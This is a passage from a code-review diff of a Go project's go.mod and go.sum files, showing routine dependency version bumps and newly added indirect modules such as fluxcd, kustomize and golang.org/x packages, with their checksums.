    +	github.com/go-openapi/swag/jsonname v0.25.4 // indirect
    +	github.com/go-openapi/swag/jsonutils v0.25.4 // indirect
    +	github.com/go-openapi/swag/loading v0.25.4 // indirect
    +	github.com/go-openapi/swag/mangling v0.25.4 // indirect
    +	github.com/go-openapi/swag/netutils v0.25.4 // indirect
    +	github.com/go-openapi/swag/stringutils v0.25.4 // indirect
    +	github.com/go-openapi/swag/typeutils v0.25.4 // indirect
    +	github.com/go-openapi/swag/yamlutils v0.25.4 // indirect
    +	github.com/go-sprout/sprout v1.0.3 // indirect
     	github.com/go-task/slim-sprig/v3 v3.0.0 // indirect
     	github.com/gobuffalo/flect v1.0.3 // indirect
     	github.com/google/btree v1.1.3 // indirect
    -	github.com/google/gnostic-models v0.7.0 // indirect
    +	github.com/google/gnostic-models v0.7.1 // indirect
     	github.com/google/go-cmp v0.7.0 // indirect
     	github.com/google/pprof v0.0.0-20250820193118-f64d9cf942d6 // indirect
     	github.com/google/uuid v1.6.0 // indirect
     	github.com/json-iterator/go v1.1.12 // indirect
    +	github.com/mitchellh/copystructure v1.2.0 // indirect
    +	github.com/mitchellh/reflectwalk v1.0.2 // indirect
     	github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
     	github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee // indirect
    +	github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 // indirect
     	github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
     	github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect
     	github.com/prometheus/client_model v0.6.2 // indirect
    -	github.com/prometheus/common v0.67.2 // indirect
    +	github.com/prometheus/common v0.67.5 // indirect
     	github.com/prometheus/procfs v0.19.2 // indirect
    +	github.com/spf13/cast v1.10.0 // indirect
    +	github.com/tidwall/gjson v1.18.0 // indirect
    +	github.com/tidwall/match v1.1.1 // indirect
    +	github.com/tidwall/pretty v1.2.1 // indirect
    +	github.com/tidwall/sjson v1.2.5 // indirect
     	github.com/valyala/bytebufferpool v1.0.0 // indirect
    +	github.com/wI2L/jsondiff v0.6.1 // indirect
     	github.com/x448/float16 v0.8.4 // indirect
    +	github.com/xlab/treeprint v1.2.0 // indirect
     	go.uber.org/multierr v1.11.0 // indirect
     	go.yaml.in/yaml/v2 v2.4.3 // indirect
     	go.yaml.in/yaml/v3 v3.0.4 // indirect
    +	golang.org/x/crypto v0.47.0 // indirect
     	golang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0 // indirect
    -	golang.org/x/mod v0.29.0 // indirect
    -	golang.org/x/net v0.47.0 // indirect
    -	golang.org/x/oauth2 v0.33.0 // indirect
    -	golang.org/x/sys v0.38.0 // indirect
    -	golang.org/x/term v0.37.0 // indirect
    -	golang.org/x/text v0.31.0 // indirect
    +	golang.org/x/mod v0.31.0 // indirect
    +	golang.org/x/net v0.49.0 // indirect
    +	golang.org/x/oauth2 v0.34.0 // indirect
    +	golang.org/x/sys v0.40.0 // indirect
    +	golang.org/x/term v0.39.0 // indirect
    +	golang.org/x/text v0.33.0 // indirect
     	golang.org/x/time v0.14.0 // indirect
    -	golang.org/x/tools v0.38.0 // indirect
    +	golang.org/x/tools v0.40.0 // indirect
     	gomodules.xyz/jsonpatch/v2 v2.5.0 // indirect
    -	google.golang.org/protobuf v1.36.10 // indirect
    +	google.golang.org/protobuf v1.36.11 // indirect
     	gopkg.in/evanphx/json-patch.v4 v4.13.0 // indirect
     	gopkg.in/inf.v0 v0.9.1 // indirect
     	gopkg.in/yaml.v3 v3.0.1 // indirect
    +	k8s.io/cli-runtime v0.35.0 // indirect
     	k8s.io/klog/v2 v2.130.1 // indirect
    -	k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912 // indirect
    +	k8s.io/kube-openapi v0.0.0-20251125145642-4e65d59e963e // indirect
     	sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 // indirect
    +	sigs.k8s.io/kustomize/api v0.21.0 // indirect
    +	sigs.k8s.io/kustomize/kyaml v0.21.0 // indirect
     	sigs.k8s.io/randfill v1.0.0 // indirect
    -	sigs.k8s.io/structured-merge-diff/v6 v6.3.0 // indirect
    +	sigs.k8s.io/structured-merge-diff/v6 v6.3.1 // indirect
     	sigs.k8s.io/yaml v1.6.0 // indirect
     )
    
  • go.sum+91 2 modified
    @@ -2,6 +2,10 @@ cel.dev/expr v0.24.0 h1:56OvJKSH3hDGL0ml5uSxZmz3/3Pq4tJ+fb1unVLAFcY=
     cel.dev/expr v0.24.0/go.mod h1:hLPLo1W4QUmuYdA72RBX06QTs6MXw941piREPl3Yfiw=
     dario.cat/mergo v1.0.1 h1:Ra4+bf83h2ztPIQYNP99R6m+Y7KfnARDfID+a+vLl4s=
     dario.cat/mergo v1.0.1/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk=
    +dario.cat/mergo v1.0.2 h1:85+piFYR1tMbRrLcDwR18y4UKJ3aH1Tbzi24VRW1TK8=
    +dario.cat/mergo v1.0.2/go.mod h1:E/hbnu0NxMFBjpMIE34DRGLWqDy0g5FuKDhCb31ngxA=
    +github.com/BurntSushi/toml v1.6.0 h1:dRaEfpa2VI55EwlIW72hMRHdWouJeRF7TPYhI+AUQjk=
    +github.com/BurntSushi/toml v1.6.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
     github.com/MakeNowJust/heredoc v1.0.0 h1:cXCdzVdstXyiTqTvfqk9SDHpKNjxuom+DOlyEeQ4pzQ=
     github.com/MakeNowJust/heredoc v1.0.0/go.mod h1:mG5amYoWBHf8vpLOuehzbGGw0EHxpZZ6lCpQ4fNJ8LE=
     github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI=
    @@ -39,6 +43,12 @@ github.com/evanphx/json-patch/v5 v5.9.11 h1:/8HVnzMq13/3x9TPvjG08wUGqBTmZBsCWzjT
     github.com/evanphx/json-patch/v5 v5.9.11/go.mod h1:3j+LviiESTElxA4p3EMKAB9HXj3/XEtnUf6OZxqIQTM=
     github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg=
     github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U=
    +github.com/fluxcd/cli-utils v0.37.1-flux.1 h1:WnG2mHxCPZMj/soIq/S/1zvbrGCJN3GJGbNfG06X55M=
    +github.com/fluxcd/cli-utils v0.37.1-flux.1/go.mod h1:aND5wX3LuTFtB7eUT7vsWr8mmxRVSPR2Wkvbn0SqPfw=
    +github.com/fluxcd/pkg/apis/kustomize v1.15.0 h1:p8wPIxdmn0vy0a664rsE9JKCfnliZz4HUsDcTy4ZOxA=
    +github.com/fluxcd/pkg/apis/kustomize v1.15.0/go.mod h1:XWdsx8P15OiMaQIvmUjYWdmD3zAwhl5q9osl5iCqcOk=
    +github.com/fluxcd/pkg/ssa v0.64.0 h1:B/8VYMIYMeRmolup2HOoWNqXh4UeXi6w2LvXXvl6MZM=
    +github.com/fluxcd/pkg/ssa v0.64.0/go.mod h1:RjvVjJIoRo1ecsv91yMuiqzO6cpNag80M6MOB/vrJdc=
     github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=
     github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
     github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM=
    @@ -49,6 +59,8 @@ github.com/gkampitakis/go-diff v1.3.2 h1:Qyn0J9XJSDTgnsgHRdz9Zp24RaJeKMUHg2+PDZZ
     github.com/gkampitakis/go-diff v1.3.2/go.mod h1:LLgOrpqleQe26cte8s36HTWcTmMEur6OPYerdAAS9tk=
     github.com/gkampitakis/go-snaps v0.5.15 h1:amyJrvM1D33cPHwVrjo9jQxX8g/7E2wYdZ+01KS3zGE=
     github.com/gkampitakis/go-snaps v0.5.15/go.mod h1:HNpx/9GoKisdhw9AFOBT1N7DBs9DiHo/hGheFGBZ+mc=
    +github.com/go-errors/errors v1.5.1 h1:ZwEMSLRCapFLflTpT7NKaAc7ukJ8ZPEjzlxt8rPN8bk=
    +github.com/go-errors/errors v1.5.1/go.mod h1:sIVyrIiJhuEF+Pj9Ebtd6P/rEYROXFi3BopGUQ5a5Og=
     github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
     github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
     github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
    @@ -57,38 +69,69 @@ github.com/go-logr/zapr v1.3.0 h1:XGdV8XW8zdwFiwOA2Dryh1gj2KRQyOOoNmBy4EplIcQ=
     github.com/go-logr/zapr v1.3.0/go.mod h1:YKepepNBd1u/oyhd/yQmtjVXmm9uML4IXUgMOwR8/Gg=
     github.com/go-openapi/jsonpointer v0.22.3 h1:dKMwfV4fmt6Ah90zloTbUKWMD+0he+12XYAsPotrkn8=
     github.com/go-openapi/jsonpointer v0.22.3/go.mod h1:0lBbqeRsQ5lIanv3LHZBrmRGHLHcQoOXQnf88fHlGWo=
    +github.com/go-openapi/jsonpointer v0.22.4 h1:dZtK82WlNpVLDW2jlA1YCiVJFVqkED1MegOUy9kR5T4=
    +github.com/go-openapi/jsonpointer v0.22.4/go.mod h1:elX9+UgznpFhgBuaMQ7iu4lvvX1nvNsesQ3oxmYTw80=
     github.com/go-openapi/jsonreference v0.21.3 h1:96Dn+MRPa0nYAR8DR1E03SblB5FJvh7W6krPI0Z7qMc=
     github.com/go-openapi/jsonreference v0.21.3/go.mod h1:RqkUP0MrLf37HqxZxrIAtTWW4ZJIK1VzduhXYBEeGc4=
    +github.com/go-openapi/jsonreference v0.21.4 h1:24qaE2y9bx/q3uRK/qN+TDwbok1NhbSmGjjySRCHtC8=
    +github.com/go-openapi/jsonreference v0.21.4/go.mod h1:rIENPTjDbLpzQmQWCj5kKj3ZlmEh+EFVbz3RTUh30/4=
     github.com/go-openapi/swag v0.25.3 h1:FAa5wJXyDtI7yUztKDfZxDrSx+8WTg31MfCQ9s3PV+s=
     github.com/go-openapi/swag v0.25.3/go.mod h1:tX9vI8Mj8Ny+uCEk39I1QADvIPI7lkndX4qCsEqhkS8=
    +github.com/go-openapi/swag v0.25.4 h1:OyUPUFYDPDBMkqyxOTkqDYFnrhuhi9NR6QVUvIochMU=
    +github.com/go-openapi/swag v0.25.4/go.mod h1:zNfJ9WZABGHCFg2RnY0S4IOkAcVTzJ6z2Bi+Q4i6qFQ=
     github.com/go-openapi/swag/cmdutils v0.25.3 h1:EIwGxN143JCThNHnqfqs85R8lJcJG06qjJRZp3VvjLI=
     github.com/go-openapi/swag/cmdutils v0.25.3/go.mod h1:pdae/AFo6WxLl5L0rq87eRzVPm/XRHM3MoYgRMvG4A0=
    +github.com/go-openapi/swag/cmdutils v0.25.4 h1:8rYhB5n6WawR192/BfUu2iVlxqVR9aRgGJP6WaBoW+4=
    +github.com/go-openapi/swag/cmdutils v0.25.4/go.mod h1:pdae/AFo6WxLl5L0rq87eRzVPm/XRHM3MoYgRMvG4A0=
     github.com/go-openapi/swag/conv v0.25.3 h1:PcB18wwfba7MN5BVlBIV+VxvUUeC2kEuCEyJ2/t2X7E=
     github.com/go-openapi/swag/conv v0.25.3/go.mod h1:n4Ibfwhn8NJnPXNRhBO5Cqb9ez7alBR40JS4rbASUPU=
    +github.com/go-openapi/swag/conv v0.25.4 h1:/Dd7p0LZXczgUcC/Ikm1+YqVzkEeCc9LnOWjfkpkfe4=
    +github.com/go-openapi/swag/conv v0.25.4/go.mod h1:3LXfie/lwoAv0NHoEuY1hjoFAYkvlqI/Bn5EQDD3PPU=
     github.com/go-openapi/swag/fileutils v0.25.3 h1:P52Uhd7GShkeU/a1cBOuqIcHMHBrA54Z2t5fLlE85SQ=
     github.com/go-openapi/swag/fileutils v0.25.3/go.mod h1:cdOT/PKbwcysVQ9Tpr0q20lQKH7MGhOEb6EwmHOirUk=
    +github.com/go-openapi/swag/fileutils v0.25.4 h1:2oI0XNW5y6UWZTC7vAxC8hmsK/tOkWXHJQH4lKjqw+Y=
    +github.com/go-openapi/swag/fileutils v0.25.4/go.mod h1:cdOT/PKbwcysVQ9Tpr0q20lQKH7MGhOEb6EwmHOirUk=
     github.com/go-openapi/swag/jsonname v0.25.3 h1:U20VKDS74HiPaLV7UZkztpyVOw3JNVsit+w+gTXRj0A=
     github.com/go-openapi/swag/jsonname v0.25.3/go.mod h1:GPVEk9CWVhNvWhZgrnvRA6utbAltopbKwDu8mXNUMag=
    +github.com/go-openapi/swag/jsonname v0.25.4 h1:bZH0+MsS03MbnwBXYhuTttMOqk+5KcQ9869Vye1bNHI=
    +github.com/go-openapi/swag/jsonname v0.25.4/go.mod h1:GPVEk9CWVhNvWhZgrnvRA6utbAltopbKwDu8mXNUMag=
     github.com/go-openapi/swag/jsonutils v0.25.3 h1:kV7wer79KXUM4Ea4tBdAVTU842Rg6tWstX3QbM4fGdw=
     github.com/go-openapi/swag/jsonutils v0.25.3/go.mod h1:ILcKqe4HC1VEZmJx51cVuZQ6MF8QvdfXsQfiaCs0z9o=
    +github.com/go-openapi/swag/jsonutils v0.25.4 h1:VSchfbGhD4UTf4vCdR2F4TLBdLwHyUDTd1/q4i+jGZA=
    +github.com/go-openapi/swag/jsonutils v0.25.4/go.mod h1:7OYGXpvVFPn4PpaSdPHJBtF0iGnbEaTk8AvBkoWnaAY=
     github.com/go-openapi/swag/jsonutils/fixtures_test v0.25.3 h1:/i3E9hBujtXfHy91rjtwJ7Fgv5TuDHgnSrYjhFxwxOw=
     github.com/go-openapi/swag/jsonutils/fixtures_test v0.25.3/go.mod h1:8kYfCR2rHyOj25HVvxL5Nm8wkfzggddgjZm6RgjT8Ao=
    +github.com/go-openapi/swag/jsonutils/fixtures_test v0.25.4 h1:IACsSvBhiNJwlDix7wq39SS2Fh7lUOCJRmx/4SN4sVo=
     github.com/go-openapi/swag/loading v0.25.3 h1:Nn65Zlzf4854MY6Ft0JdNrtnHh2bdcS/tXckpSnOb2Y=
     github.com/go-openapi/swag/loading v0.25.3/go.mod h1:xajJ5P4Ang+cwM5gKFrHBgkEDWfLcsAKepIuzTmOb/c=
    +github.com/go-openapi/swag/loading v0.25.4 h1:jN4MvLj0X6yhCDduRsxDDw1aHe+ZWoLjW+9ZQWIKn2s=
    +github.com/go-openapi/swag/loading v0.25.4/go.mod h1:rpUM1ZiyEP9+mNLIQUdMiD7dCETXvkkC30z53i+ftTE=
     github.com/go-openapi/swag/mangling v0.25.3 h1:rGIrEzXaYWuUW1MkFmG3pcH+EIA0/CoUkQnIyB6TUyo=
     github.com/go-openapi/swag/mangling v0.25.3/go.mod h1:6dxwu6QyORHpIIApsdZgb6wBk/DPU15MdyYj/ikn0Hg=
    +github.com/go-openapi/swag/mangling v0.25.4 h1:2b9kBJk9JvPgxr36V23FxJLdwBrpijI26Bx5JH4Hp48=
    +github.com/go-openapi/swag/mangling v0.25.4/go.mod h1:6dxwu6QyORHpIIApsdZgb6wBk/DPU15MdyYj/ikn0Hg=
     github.com/go-openapi/swag/netutils v0.25.3 h1:XWXHZfL/65ABiv8rvGp9dtE0C6QHTYkCrNV77jTl358=
     github.com/go-openapi/swag/netutils v0.25.3/go.mod h1:m2W8dtdaoX7oj9rEttLyTeEFFEBvnAx9qHd5nJEBzYg=
    +github.com/go-openapi/swag/netutils v0.25.4 h1:Gqe6K71bGRb3ZQLusdI8p/y1KLgV4M/k+/HzVSqT8H0=
    +github.com/go-openapi/swag/netutils v0.25.4/go.mod h1:m2W8dtdaoX7oj9rEttLyTeEFFEBvnAx9qHd5nJEBzYg=
     github.com/go-openapi/swag/stringutils v0.25.3 h1:nAmWq1fUTWl/XiaEPwALjp/8BPZJun70iDHRNq/sH6w=
     github.com/go-openapi/swag/stringutils v0.25.3/go.mod h1:GTsRvhJW5xM5gkgiFe0fV3PUlFm0dr8vki6/VSRaZK0=
    +github.com/go-openapi/swag/stringutils v0.25.4 h1:O6dU1Rd8bej4HPA3/CLPciNBBDwZj9HiEpdVsb8B5A8=
    +github.com/go-openapi/swag/stringutils v0.25.4/go.mod h1:GTsRvhJW5xM5gkgiFe0fV3PUlFm0dr8vki6/VSRaZK0=
     github.com/go-openapi/swag/typeutils v0.25.3 h1:2w4mEEo7DQt3V4veWMZw0yTPQibiL3ri2fdDV4t2TQc=
     github.com/go-openapi/swag/typeutils v0.25.3/go.mod h1:Ou7g//Wx8tTLS9vG0UmzfCsjZjKhpjxayRKTHXf2pTE=
    +github.com/go-openapi/swag/typeutils v0.25.4 h1:1/fbZOUN472NTc39zpa+YGHn3jzHWhv42wAJSN91wRw=
    +github.com/go-openapi/swag/typeutils v0.25.4/go.mod h1:Ou7g//Wx8tTLS9vG0UmzfCsjZjKhpjxayRKTHXf2pTE=
     github.com/go-openapi/swag/yamlutils v0.25.3 h1:LKTJjCn/W1ZfMec0XDL4Vxh8kyAnv1orH5F2OREDUrg=
     github.com/go-openapi/swag/yamlutils v0.25.3/go.mod h1:Y7QN6Wc5DOBXK14/xeo1cQlq0EA0wvLoSv13gDQoCao=
    +github.com/go-openapi/swag/yamlutils v0.25.4 h1:6jdaeSItEUb7ioS9lFoCZ65Cne1/RZtPBZ9A56h92Sw=
    +github.com/go-openapi/swag/yamlutils v0.25.4/go.mod h1:MNzq1ulQu+yd8Kl7wPOut/YHAAU/H6hL91fF+E2RFwc=
     github.com/go-openapi/testify/enable/yaml/v2 v2.0.2 h1:0+Y41Pz1NkbTHz8NngxTuAXxEodtNSI1WG1c/m5Akw4=
     github.com/go-openapi/testify/enable/yaml/v2 v2.0.2/go.mod h1:kme83333GCtJQHXQ8UKX3IBZu6z8T5Dvy5+CW3NLUUg=
     github.com/go-openapi/testify/v2 v2.0.2 h1:X999g3jeLcoY8qctY/c/Z8iBHTbwLz7R2WXd6Ub6wls=
     github.com/go-openapi/testify/v2 v2.0.2/go.mod h1:HCPmvFFnheKK2BuwSA0TbbdxJ3I16pjwMkYkP4Ywn54=
    +github.com/go-sprout/sprout v1.0.3 h1:LLuz0D3aYazgbVTOwCVuMor3LOUVYinipXRIdjA/D+I=
    +github.com/go-sprout/sprout v1.0.3/go.mod h1:cFFzpnyGGry3cmN0UNCAM1f7AGok6vPVabeYQzBMBZY=
     github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
     github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
     github.com/gobuffalo/flect v1.0.3 h1:xeWBM2nui+qnVvNM4S3foBhCAL2XgPU+a7FdpelbTq4=
    @@ -101,6 +144,8 @@ github.com/google/cel-go v0.26.0 h1:DPGjXackMpJWH680oGY4lZhYjIameYmR+/6RBdDGmaI=
     github.com/google/cel-go v0.26.0/go.mod h1:A9O8OU9rdvrK5MQyrqfIxo1a0u4g3sF8KB6PUIaryMM=
     github.com/google/gnostic-models v0.7.0 h1:qwTtogB15McXDaNqTZdzPJRHvaVJlAl+HVQnLmJEJxo=
     github.com/google/gnostic-models v0.7.0/go.mod h1:whL5G0m6dmc5cPxKc5bdKdEN3UjI7OUGxBlw57miDrQ=
    +github.com/google/gnostic-models v0.7.1 h1:SisTfuFKJSKM5CPZkffwi6coztzzeYUhc3v4yxLWH8c=
    +github.com/google/gnostic-models v0.7.1/go.mod h1:whL5G0m6dmc5cPxKc5bdKdEN3UjI7OUGxBlw57miDrQ=
     github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
     github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
     github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
    @@ -142,12 +187,14 @@ github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJ
     github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
     github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee h1:W5t00kpgFdJifH4BDsTlE89Zl93FEloxaWZfGcifgq8=
     github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
    +github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 h1:n6/2gBQ3RWajuToeY6ZtZTIKv2v7ThUy5KKusIT0yc0=
    +github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00/go.mod h1:Pm3mSP3c5uWn86xMLZ5Sa7JB9GsEZySvHYXCTK4E9q4=
     github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
     github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
     github.com/onsi/ginkgo/v2 v2.27.3 h1:ICsZJ8JoYafeXFFlFAG75a7CxMsJHwgKwtO+82SE9L8=
     github.com/onsi/ginkgo/v2 v2.27.3/go.mod h1:ArE1D/XhNXBXCBkKOLkbsb2c81dQHCRcF5zwn/ykDRo=
    -github.com/onsi/ginkgo/v2 v2.27.4 h1:fcEcQW/A++6aZAZQNUmNjvA9PSOzefMJBerHJ4t8v8Y=
    -github.com/onsi/ginkgo/v2 v2.27.4/go.mod h1:ArE1D/XhNXBXCBkKOLkbsb2c81dQHCRcF5zwn/ykDRo=
    +github.com/onsi/ginkgo/v2 v2.27.5 h1:ZeVgZMx2PDMdJm/+w5fE/OyG6ILo1Y3e+QX4zSR0zTE=
    +github.com/onsi/ginkgo/v2 v2.27.5/go.mod h1:ArE1D/XhNXBXCBkKOLkbsb2c81dQHCRcF5zwn/ykDRo=
     github.com/onsi/gomega v1.38.3 h1:eTX+W6dobAYfFeGC2PV6RwXRu/MyT+cQguijutvkpSM=
     github.com/onsi/gomega v1.38.3/go.mod h1:ZCU1pkQcXDO5Sl9/VVEGlDyp+zm0m1cmeG5TOzLgdh4=
     github.com/onsi/gomega v1.39.0 h1:y2ROC3hKFmQZJNFeGAMeHZKkjBL65mIZcvrLQBF9k6Q=
    @@ -167,6 +214,8 @@ github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNw
     github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
     github.com/prometheus/common v0.67.2 h1:PcBAckGFTIHt2+L3I33uNRTlKTplNzFctXcWhPyAEN8=
     github.com/prometheus/common v0.67.2/go.mod h1:63W3KZb1JOKgcjlIr64WW/LvFGAqKPj0atm+knVGEko=
    +github.com/prometheus/common v0.67.5 h1:pIgK94WWlQt1WLwAC5j2ynLaBRDiinoAb86HZHTUGI4=
    +github.com/prometheus/common v0.67.5/go.mod h1:SjE/0MzDEEAyrdr5Gqc6G+sXI67maCxzaT3A2+HqjUw=
     github.com/prometheus/procfs v0.19.2 h1:zUMhqEW66Ex7OXIiDkll3tl9a1ZdilUOd/F6ZXw4Vws=
     github.com/prometheus/procfs v0.19.2/go.mod h1:M0aotyiemPhBCM0z5w87kL22CxfcH05ZpYlu+b4J7mw=
     github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ=
    @@ -186,16 +235,20 @@ github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSS
     github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
     github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY=
     github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
    +github.com/stretchr/objx v0.5.3 h1:jmXUvGomnU1o3W/V5h2VEradbpJDwGrzugQQvL0POH4=
     github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
    +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
     github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
     github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
     github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
     github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
     github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
    +github.com/tidwall/gjson v1.14.2/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
     github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
     github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
     github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
     github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
    +github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
     github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
     github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
     github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY=
    @@ -204,8 +257,12 @@ github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6Kllzaw
     github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
     github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo=
     github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ=
    +github.com/wI2L/jsondiff v0.6.1 h1:ISZb9oNWbP64LHnu4AUhsMF5W0FIj5Ok3Krip9Shqpw=
    +github.com/wI2L/jsondiff v0.6.1/go.mod h1:KAEIojdQq66oJiHhDyQez2x+sRit0vIzC9KeK0yizxM=
     github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
     github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
    +github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ=
    +github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
     go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
     go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
     go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0 h1:F7Jx+6hwnZ41NSFTO5q4LYDtJRXBf2PD0rNBkeB/lus=
    @@ -238,26 +295,42 @@ go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc=
     go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
     golang.org/x/crypto v0.45.0 h1:jMBrvKuj23MTlT0bQEOBcAE0mjg8mK9RXFhRH6nyF3Q=
     golang.org/x/crypto v0.45.0/go.mod h1:XTGrrkGJve7CYK7J8PEww4aY7gM3qMCElcJQ8n8JdX4=
